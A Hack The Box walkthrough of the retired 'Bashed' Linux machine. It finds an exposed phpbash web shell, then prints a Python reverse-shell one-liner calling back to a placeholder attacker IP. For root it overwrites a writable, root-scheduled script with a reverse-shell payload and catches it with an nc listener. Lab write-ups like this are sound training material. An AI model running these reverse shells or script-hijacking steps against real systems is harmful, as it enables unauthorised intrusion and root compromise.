Hack The Box · Linux Machine

Bashed

Machine details
Name	Bashed
Release date	09 Dec 2017
Retire date	28 Apr 2018
OS	Linux
Difficulty	Easy - Retired [0]
Rated difficulty
Radar graph
Creator	Arrexel
CherryTree file	Download and remove the .txt extension

Web enumeration

HTTP enumeration revealed the developer's phpbash project and an exposed browser shell under the development directory.

gobuster dir -u http://10.10.10.68 \
  -w /usr/share/wordlists/dirb/common.txt

http://10.10.10.68/dev/phpbash.php

Initial access

The web shell executed commands as www-data. From there, a reverse shell provided a more usable session and exposed the user flag.

python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<TUN0-IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'

Privilege escalation

sudo -l allowed commands as scriptmanager. The writable /scripts directory contained Python files executed by root on a schedule. Replacing the writable script with a callback produced a root shell.

sudo -u scriptmanager /bin/bash
cd /scripts
cat > test.py <<'PY'
import socket,subprocess,os
s=socket.socket();s.connect(("<TUN0-IP>",5555))
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])
PY

nc -lvnp 5555